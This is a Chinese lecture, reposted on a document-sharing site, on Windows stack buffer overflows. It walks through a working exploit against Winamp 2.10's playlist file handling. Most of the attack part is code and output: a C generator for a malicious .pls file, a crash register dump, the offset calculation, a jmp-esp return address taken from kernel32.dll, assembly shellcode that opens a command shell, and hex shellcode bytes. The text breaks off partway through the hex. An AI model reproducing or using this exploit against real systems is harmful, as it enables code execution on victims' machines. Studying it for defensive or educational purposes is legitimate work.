下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、堆栈溢出系列讲座window 系统下的堆栈溢出溢出字符串的设计我们已经知道了在 windows 系统下如何获得一次堆栈溢出,如何计算 偏移地址,以及如何编写一个 shellcode 以得到 dos。但是这远远不够。大家知道 windows 系统的用户进程空间是 0-2G ,操作系统所占的为 2-4G 。 事实上用户进程的加载位置为: 0x00400000. 这个进程的所有指令地址,数据地址和堆栈指针都会含有 0, 那么我们的返回地址就必然含有 0。现在来看一看我们的 shellcode:NNNNSSSSAAAAAA 。显然,我们的 shellcode 由于 A 里面含有 0,所以就变成了 NN
2、NNNNNNSSSSSA, 这样, 我们的返回地址 A 必须精确 的放在确切的函数堆栈中的 ret 位置。事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。其次, windows 在执行 mov esp, ebp 的时候,把废弃不用的堆栈用随机数据填充(实验所得,机制如何,大家一起研究) ,因此我们的 shellcode 可能会被覆盖!这下完蛋了,我们的 shellcode 都没了,返回地址正确又有什么用?所以,我们的 shellcode 必须改成如下方式: NNNNNNNNNNNNNNNNNASSSSSSSSS, 在缓 冲区溢出发生之后,堆栈的布局如下:内存底部 内存顶部buf
3、fer EBP ret< NNNNNNNNNNNN A SSSSbuffer堆栈顶部 堆栈底部看到了吗?我们的 A 覆盖了返回地址。 S 位于堆栈的底部。 A 的内容,就是指向 S 的调用。 但是,刚才我们说过 A 里面是含有 0 字符的,这样的溢出字符串,在 A 处就被 0 阻断, 根本无法到shellcode。我们需要把 A改成不包含0的地址。好像没有办法了,是吗?现在我们的 A 如何能做到即可以跳转到我们的shellcode,又可以不包含 0 字节呢?大家可能还记得当年 IIS4.0 远程攻击的作者 dark spyrit AKA Barnaby Jack 吧? 他在 99 年的
4、Phrack Magzine55.15 上提出了使用系统核心 dll 中的指令来完成跳转的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新 的 windows 缓冲区溢出的思路。思路是这样的:返回地址 A 的内容不指向我们的 shellcode 开始地点,否则的话A里面必然含有 0。我们知道系统核心的dll都是在2 4G,也就是从0x80000000到0xffffffff, 这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。因此,我们可以令返回地址 A 等于一个系统核心 dll 中的指令的地址,这个指令的 作用就是 call/jmp 我们的 shellcode
5、。但是他怎么才能知道我们的 shellcode 的地址呢?答案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息。比如说,敌人的函数如果有参数的话,那么我们的 A 覆盖了他的返回地址, shellcode 的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用call ebp+4或者我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用shellcode。这些寄存器的值,我们可以在第一讲里面提到的 “关闭程序框 ”里面获得寄存器和堆栈的详细资料。那么我们怎么知
6、道哪里有 call/jmp eax 什么的呢?我们又怎么知道这些指令是每次都在 内存中可以直接调用呢?答案是:系统核心 dll。系统核心 dll 包括 kernel32.dll,user32.dll,gdi32.dll.这些 dll 是一直位于内存中而且对应于固定的版本 windows 加载的位置是固定的。 你可以在这些dll里面搜索你需要的指令。其他的 dll,比如msvcrt。dll就要去看程序 自己的import列表了。看看他是否load 了这个dll。不过一般的说,这几个 dll就够了。好,那么我们的 shellcode 最终为:NNNNNNNNNNNNNNNASSSSSSSS其中:
7、N 为 NOP 指令A 为指向某一条 call/jmp 指令的地址,这个 call/jmp 指令位于系统核心内存> <l>0x80000000 ,</1>这个 call/jmp 指令具体的内容,需要根据我们 exploit 出来的结果分析得知。S: shellcode。有了这些基础知识,我们来分析一个实例。大家都有 winamp 吧,他的 2.10 有缓冲区漏洞,下面我们来实现一个 exploit。winamp 的 playlist 支持文件 *.pls 存放 playlist。 playlist 里面的文件名长度 如果大于一定长度就会发生堆栈溢出。我们可以写出测
8、试串,精确的测试。 test.cpp#include <stdio.h> int main()char buffer640;char eip8 = ""char sploit256 = ""FILE *file;for(int x=0;x<640;x+)switch(x%4) case 0: bufferx = 'A'break;case 1: bufferx = 'A'+x/26%26/26%26; break;case 2: bufferx = 'A'+x/26%26; break;c
9、ase 3: bufferx = 'A'+x%26;break;bufferx=0;file = fopen("crAsh.pls","wb");fprintf(file, "playlistn");fprintf(file, "File1=");fprintf(file, "%s", buffer);fprintf(file, "%s", eip);fprintf(file, "%s", sploit);fprintf(file, &qu
10、ot;nNumberOfEntries=1");fclose(file);printf("t created file crAsh.pls loaded with the exploit.n");return 0;算法很简单,是写出一个 crach.pls 文件,内容可以根据那几个 fprintf 看出来的。我就不讲了,其中 buffer 的内容为测试用的字符串。这个测试程序可以测试最长为26A3的串,足够了。编译执行,看看结果,嘿,发生了堆栈溢出,结果如下:WINAMP 在 00de:4c574141 的模块<未知 > 中导致无效页错误。Regist
11、ers:EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4ECX=00000000 DS=0187 ESI=00445638 FS=4bd7EDX=005b02dc ES=0187 EDI=00000001 GS=4206Bytes at CS:EIP:Stack dump:50574141 54574141 58574141 42584141 46584141 4a5841414e584141 52584141 56584141 5a584141 4459
12、4141 485941414c594141 50594141根据 eip=4141574c 计算得出, addr = (57h-41h)*26+(4ch-41h)-4 = 580. 好,溢出的位置为 580。大家现在知道我们的溢出字符串中,返回地址 A 应该在串的 580 处,那么我们应该 让他使用什么 call/jmp 指令以达到 shellcode 呢?看看寄存器dump,我们发现ESP里面的内容是41415750,恰好是4141574c之后的 第一个数。看来 ESP指向我们的shellcode,太棒了!我们使用指令:jmp ESP 就可以执行我们的 shellcode 了。现在找出jmp
13、 esp的指令码为 FF E4,ctrl-D调出s-ice,看看内存里面那里有FFE4.因为系统核心 dll 的加载地址都是从地址 0xBf000000 开始,所以我们 搜索 s Bf000000 L ffffffff ff,e4得到了哪些结果?一堆呀,这第一个是: BFF795A3 。看看 softice 里面的进程名称栏: Kernel32!GetDataFormatA+1554 好,是 kernel32.dll 里面的,肯定是可以用的啦。ok,问题解决,我们现在可以确定在buffer 580处,写入四个字节:"xa3x95xf7xbf". 这就是我们的溢出字符串中的返
14、回地址A。好了,现在溢出字符串已经基本分析完了,就差shellcode 了。下面我们来写 shellcode。我们的shellcode要开一个dos窗口。C语言的算法描述是:LoadLibrary("msvcrt.dll");system("");exit(0);很简单,是不是?下面是汇编代码:首先要 LoadLibrary("msvcrt.dll"); push ebp mov ebp,esp xor eax,eax push eax push eax push eax mov byte ptrebp-0Ch,4Dh mov byt
15、e ptrebp-0Bh,53h mov byte ptrebp-0Ah,56h mov byte ptrebp-09h,43h mov byte ptrebp-08h,52h mov byte ptrebp-07h,54h mov byte ptrebp-06h,2Eh mov byte ptrebp-05h,44h mov byte ptrebp-04h,4Ch mov byte ptrebp-03h,4Ch mov edx,0xBFF776D4 /LoadLibrary push edx lea eax,ebp-0Ch push eax call dword ptrebp-10h 然后是
16、开一个 dos 窗口: push ebp mov ebp, esp sub esp, 0000002C mov eax, 6D6D6F63 mov dword ptr ebp-0C, eax mov eax, 2E646E61 mov dword ptr ebp-08, eax mov eax, 226D6F63 mov dword ptr ebp-04, eax xor edx, edx mov byte ptr ebp-01, dl lea eax, dword ptr ebp-0C push eax mov eax, 78019824 /system call eax 最后执行 exit
17、 ,退出来。push ebp mov ebp,esp mov edx,0xFFFFFFFF sub edx,0x87FFAAFB/exitpush edxxor eax,eaxpush eaxcall dword ptrebp-04h简单说一下, msvcrt.dll 是运行 C 语言标准库函数所必须的一个动态链接库。 要想使用 system,exit ,必须加载这个库。而 winamp 没有 import 这个库, 所译我们需要自己加载。指令 mov edx,0xBFF776D4 中, 0xBFF776D4 是函数 LoadLibraryA 的地址。 他的代码在 kernel32.dll 中
18、,是被 winamp 加载了的 dll 。我的机器上 kernel32.dll 版本是: (v4.10.2222) .0x78019824 是 msvcrt.dll 里面的函数 system 的地址。版本: (v6.00.8397.0) 0x78005504 是 msvcrt.dll 里面的函数 exit 的地址。版本: (v6.00.8397.0) 由于里面有 0,所以使用两条指令来完成:mov edx,0xFFFFFFFFsub edx,0x87FFAAFB/=mov edx,0x78005504编译,找出二进制 code: shellcode:"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53" "xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x4 5xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBAx50x77xF7xbFx52x8 Dx45xF4x50""xFFx55xF
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 六下语文第九课教学课件教学课件教学
- 2024年度美发店财务管理合同
- 2024年度版权转让合同转让标的及转让价格
- 2024年度成都软件开发项目合作运营合同
- 《食物营养与健康》课件
- 2024年度股权转让合同:某互联网公司5%股权转让
- 2024年度美容院设备采购合同
- 2024年度融资租赁合同修改要点2篇
- 2024年度广告代理合同:广告主甲方与广告代理乙方关于广告业务代理
- 2024年度砌块行业市场调研与分析合同3篇
- 银行装修工程质量评估报告
- 轻钢龙骨双面石膏板隔墙施工工艺
- 2022年夜间取药程序
- OKR全套资料(方法论、周报、日报、绩效、案列)
- 人音版三年级下册教材解读
- 软件售后服务流程图
- 工程总承包EPC实施方案
- 洗洁精质量安全管理手册
- 船用柴油机6RTA58T-B
- 专修软件wdr53中文正式版说明
- 刀具寿命管理记录表
评论
0/150
提交评论